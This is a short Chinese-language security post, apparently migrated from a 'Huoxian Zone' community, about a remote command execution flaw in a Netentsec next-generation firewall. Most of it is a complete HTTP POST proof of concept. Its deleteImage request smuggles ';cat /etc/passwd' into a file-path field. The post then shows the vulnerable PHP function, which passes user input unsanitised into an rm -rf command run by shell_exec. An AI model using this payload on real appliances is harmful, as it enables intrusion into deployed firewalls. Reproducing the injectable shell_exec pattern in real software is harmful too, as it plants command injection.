前两天,有个老哥放了网康下一代防火墙 RCE
POC如下:
POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d6o8gdugrhmvf2sq18ojhj50p3; ys-active_page=s%3A
Content-Length: 178
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
很明显的拼接RCE啊。我们去看一看代码。
在\var\www\html\applications\Models\SSLVPN\Resource.php找到相关代码
public function deleteImage($params){
$basePath = '/var/www/html/';
$imgPath = $this->imagePath;
$params = $params->data;
$cmd = "cd $imgPath \n /bin/rm -rf ";
$existDefault=false;
foreach ($params as $img){
if($img=='default.png'){
$existDefault=true;
}else{
$cmd.=$img.' ';
}
}
Nsdebuglog($cmd,'x.log');
shell_exec($cmd);
if($existDefault){
return $this->response(array('failed : default images can not delete!'));
}
return $this->response(array());
// Ns_debug_log($params,'x.log');
}
本文迁移自知识星球“火线Zone”